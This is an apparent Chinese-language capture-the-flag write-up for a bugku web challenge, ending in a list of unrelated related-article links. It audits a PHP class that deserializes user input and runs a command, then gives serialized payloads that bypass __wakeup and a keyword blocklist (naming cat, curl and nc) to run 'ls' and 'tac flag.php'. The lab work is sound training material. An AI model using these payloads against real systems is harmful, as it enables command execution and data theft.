• bugku-web-安慰奖


    题目没给提示

     点开链接  是空白页面

     查看源代码

     base64加密  拿去解码

     备份文件    使用工具跑一下目录    (dirsearch)

    存在一个flag.php文件  但是访问没有结果

    锁定index.php.bak 文件     下载下来

    打开  进行代码审计   是php序列化  反序列化的内容

     代码审计(借鉴大佬的解析)

    1. class ctf
    2. {
    3. protected $username = 'hack';
    4. protected $cmd = 'NULL';
    5. 定义username和cmd变量
    6. ----------------------------------------------
    7. public function __construct($username,$cmd)
    8. {
    9. $this->username = $username;
    10. $this->cmd = $cmd;
    11. }
    12. java知识
    13. ----------------------------------------------
    14. function __wakeup()
    15. {
    16. $this->username = 'guest';
    17. }
    18. 反序列化的wakeup函数 如何绕过可见我这篇文章
    19. 此处是将username的值改为guest
    20. ---------------------------------------------
    21. if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
    22. {
    23. exit('
      flag能让你这么容易拿到吗?
      '
      );
    24. }
    25. 一堆正则
    26. ----------------------------------------------
    27. if ($this->username === 'admin')
    28. {
    29. // echo "
      right!
      "
      ;
    30. $a = `$this->cmd`;
    31. var_dump($a);
    32. 如果username的值为admin将cmd的值传给a变量并输出执行
    33. ----------------------------------------------
    34. $select = $_GET['code'];
    35. $res=unserialize(@$select);
    36. get获取code的值传给select并把select的值反序列化后传给res


    唯一可以传的是code的值 所以用code里面包含username和cmd即可传值给他们因为类名是ctf   

    还要绕过wakeup  确保传入的username和cmd的值正确  在die()的时候就会调用__destruct()函数 

    来执行cmd命令

       所以构造为

    (/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";})

    O 代表对象 因为我们序列化的是一个对象
    3 代表类名字占三个字符
    ctf 类名
    3 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
    s代表字符串
    11代表属性名长度
    username 属性名
    s:5:“admin” 字符串 属性值长度 属性值

    先用ls看看  确定刚刚没打开的flag.php在不在同一目录下

    确定flag.php就在当前目录

    但是很多命令被过滤了  测试后  发现tac这个命令还没有被过滤    (/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";})

     使用tac命令得到flag

  • 相关阅读:
    Java架构师内功计算机硬件知识
    Android库打包成aar/jar发布至Maven Central
    redis 学习记录
    CANape导出标定数据Hex/S19等二进制文件
    4-Arm PEG-N3,4-Arm PEG-Azide,四臂-聚乙二醇-叠氮一种多臂PEG衍生物
    函数递归(C语言)(详细过程!)
    斯坦福大学吴恩达教授最新来信:AI, GPU和芯片的未来
    基于JavaSwing开发书店管理系统+论文 毕业设计 课程设计 大作业
    基于C++和QT开发的校园超市库存物资管理系统
    42. 接雨水[动态规划+双指针]
  • 原文地址:https://blog.csdn.net/m0_57954651/article/details/127866733